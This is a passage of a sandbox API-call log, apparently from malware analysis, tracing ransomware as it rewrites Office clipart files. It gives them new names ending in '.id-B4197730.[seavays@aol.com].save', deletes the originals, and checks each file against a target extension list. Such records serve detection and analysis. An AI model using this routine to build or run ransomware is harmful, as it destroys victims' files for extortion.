lpOverlapped=0x0) returned 1 [0074.593] SetEndOfFile (hFile=0x310) returned 1 [0074.593] CloseHandle (hObject=0x310) returned 1 [0074.594] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.594] SetEndOfFile (hFile=0x2f8) returned 1 [0074.594] CloseHandle (hObject=0x2f8) returned 1 [0074.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0074.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 1 [0074.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0074.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0074.595] lstrlenW (lpString=".doc") returned 4 [0074.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0074.595] lstrlenW (lpString=".docx") returned 5 [0074.595] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0074.595] lstrlenW (lpString=".pdf") returned 4 [0074.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0074.596] lstrlenW (lpString=".xls") returned 4 [0074.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0074.596] lstrlenW (lpString=".xlsx") returned 5 [0074.596] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0074.596] lstrlenW (lpString=".ppt") returned 4 [0074.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0074.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0074.596] lstrlenW (lpString=".zip") returned 4 [0074.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0074.596] lstrlenW (lpString=".rar") returned 4 [0074.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0074.596] lstrlenW (lpString=".bz2") returned 4 [0074.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0074.596] lstrlenW (lpString=".7z") returned 3 [0074.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0074.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0074.596] lstrlenW (lpString=".dbf") returned 4 [0074.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0074.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0074.596] lstrlenW (lpString=".1cd") returned 4 [0074.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0074.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0074.596] lstrlenW (lpString=".jpg") returned 4 [0074.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0074.597] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.597] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0074.597] GetLastError () returned 0x0 [0074.597] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x148c, lpOverlapped=0x0) returned 1 [0074.599] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x1490, lpOverlapped=0x0) returned 1 [0074.600] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.600] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0074.600] SetEndOfFile (hFile=0x310) returned 1 [0074.600] CloseHandle (hObject=0x310) returned 1 [0074.600] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.600] SetEndOfFile (hFile=0x2f8) returned 1 [0074.601] CloseHandle (hObject=0x2f8) returned 1 [0074.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0074.601] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 1 [0074.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0074.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0074.602] lstrlenW (lpString=".doc") returned 4 [0074.602] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0074.602] lstrlenW (lpString=".docx") returned 5 [0074.602] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0074.602] lstrlenW (lpString=".pdf") returned 4 [0074.602] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0074.602] lstrlenW (lpString=".xls") returned 4 [0074.602] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0074.602] lstrlenW (lpString=".xlsx") returned 5 [0074.602] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0074.602] lstrlenW (lpString=".ppt") returned 4 [0074.602] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0074.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0074.602] lstrlenW (lpString=".zip") returned 4 [0074.602] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0074.602] lstrlenW (lpString=".rar") returned 4 [0074.602] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0074.602] lstrlenW (lpString=".bz2") returned 4 [0074.602] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0074.602] lstrlenW (lpString=".7z") returned 3 [0074.602] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0074.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0074.602] lstrlenW (lpString=".dbf") returned 4 [0074.602] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0074.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0074.603] lstrlenW (lpString=".1cd") returned 4 [0074.603] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0074.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0074.603] lstrlenW (lpString=".jpg") returned 4 [0074.603] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0074.603] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.603] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0074.604] GetLastError () returned 0x0 [0074.604] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x380, lpOverlapped=0x0) returned 1 [0074.606] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x390, lpOverlapped=0x0) returned 1 [0074.607] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.607] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0074.607] SetEndOfFile (hFile=0x310) returned 1 [0074.607] CloseHandle (hObject=0x310) returned 1 [0074.608] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.608] SetEndOfFile (hFile=0x2f8) returned 1 [0074.609] CloseHandle (hObject=0x2f8) returned 1 [0074.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0074.609] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 1 [0074.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0074.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0074.610] lstrlenW (lpString=".doc") returned 4 [0074.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0074.610] lstrlenW (lpString=".docx") returned 5 [0074.610] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0074.610] lstrlenW (lpString=".pdf") returned 4 [0074.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0074.610] lstrlenW (lpString=".xls") returned 4 [0074.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0074.610] lstrlenW (lpString=".xlsx") returned 5 [0074.610] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0074.610] lstrlenW (lpString=".ppt") returned 4 [0074.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0074.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0074.610] lstrlenW (lpString=".zip") returned 4 [0074.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0074.610] lstrlenW (lpString=".rar") returned 4 [0074.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0074.610] lstrlenW (lpString=".bz2") returned 4 [0074.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0074.610] lstrlenW (lpString=".7z") returned 3 [0074.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0074.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0074.610] lstrlenW (lpString=".dbf") returned 4 [0074.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0074.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0074.610] lstrlenW (lpString=".1cd") returned 4 [0074.610] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0074.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0074.611] lstrlenW (lpString=".jpg") returned 4 [0074.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0074.612] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.612] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0074.613] GetLastError () returned 0x0 [0074.613] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x2f0, lpOverlapped=0x0) returned 1 [0074.615] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x300, lpOverlapped=0x0) returned 1 [0074.616] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.616] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0074.616] SetEndOfFile (hFile=0x310) returned 1 [0074.617] CloseHandle (hObject=0x310) returned 1 [0074.617] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.617] SetEndOfFile (hFile=0x2f8) returned 1 [0074.618] CloseHandle (hObject=0x2f8) returned 1 [0074.618] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0074.618] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 1 [0074.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0074.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0074.619] lstrlenW (lpString=".doc") returned 4 [0074.619] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0074.619] lstrlenW (lpString=".docx") returned 5 [0074.619] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0074.619] lstrlenW (lpString=".pdf") returned 4 [0074.619] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0074.619] lstrlenW (lpString=".xls") returned 4 [0074.619] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0074.619] lstrlenW (lpString=".xlsx") returned 5 [0074.619] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0074.619] lstrlenW (lpString=".ppt") returned 4 [0074.619] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0074.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0074.620] lstrlenW (lpString=".zip") returned 4 [0074.620] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0074.620] lstrlenW (lpString=".rar") returned 4 [0074.620] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0074.620] lstrlenW (lpString=".bz2") returned 4 [0074.620] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0074.620] lstrlenW (lpString=".7z") returned 3 [0074.620] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0074.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0074.620] lstrlenW (lpString=".dbf") returned 4 [0074.620] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0074.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0074.620] lstrlenW (lpString=".1cd") returned 4 [0074.620] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0074.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0074.621] lstrlenW (lpString=".jpg") returned 4 [0074.621] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0074.621] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.190] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0075.191] GetLastError () returned 0x0 [0075.191] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x2b90, lpOverlapped=0x0) returned 1 [0075.193] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0075.194] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.194] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.194] SetEndOfFile (hFile=0x2f4) returned 1 [0075.195] CloseHandle (hObject=0x2f4) returned 1 [0075.195] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.195] SetEndOfFile (hFile=0x2f8) returned 1 [0075.196] CloseHandle (hObject=0x2f8) returned 1 [0075.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0075.196] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 1 [0075.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0075.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0075.197] lstrlenW (lpString=".doc") returned 4 [0075.197] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.197] lstrlenW (lpString=".docx") returned 5 [0075.197] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.197] lstrlenW (lpString=".pdf") returned 4 [0075.197] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.197] lstrlenW (lpString=".xls") returned 4 [0075.197] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.197] lstrlenW (lpString=".xlsx") returned 5 [0075.197] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.197] lstrlenW (lpString=".ppt") returned 4 [0075.197] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0075.197] lstrlenW (lpString=".zip") returned 4 [0075.197] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.197] lstrlenW (lpString=".rar") returned 4 [0075.198] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.198] lstrlenW (lpString=".bz2") returned 4 [0075.198] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.198] lstrlenW (lpString=".7z") returned 3 [0075.198] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0075.198] lstrlenW (lpString=".dbf") returned 4 [0075.198] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0075.198] lstrlenW (lpString=".1cd") returned 4 [0075.198] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0075.198] lstrlenW (lpString=".jpg") returned 4 [0075.198] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.199] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.199] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0075.200] GetLastError () returned 0x0 [0075.200] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x4604, lpOverlapped=0x0) returned 1 [0075.202] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x4610, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x4610, lpOverlapped=0x0) returned 1 [0075.203] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.203] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.204] SetEndOfFile (hFile=0x2f4) returned 1 [0075.204] CloseHandle (hObject=0x2f4) returned 1 [0075.204] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.204] SetEndOfFile (hFile=0x2f8) returned 1 [0075.205] CloseHandle (hObject=0x2f8) returned 1 [0075.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0075.210] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 1 [0075.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0075.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0075.210] lstrlenW (lpString=".doc") returned 4 [0075.210] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.210] lstrlenW (lpString=".docx") returned 5 [0075.210] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.210] lstrlenW (lpString=".pdf") returned 4 [0075.211] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.211] lstrlenW (lpString=".xls") returned 4 [0075.211] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.211] lstrlenW (lpString=".xlsx") returned 5 [0075.211] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.211] lstrlenW (lpString=".ppt") returned 4 [0075.211] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0075.211] lstrlenW (lpString=".zip") returned 4 [0075.211] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.211] lstrlenW (lpString=".rar") returned 4 [0075.211] lstrcmpiW (lpString1=".rar", 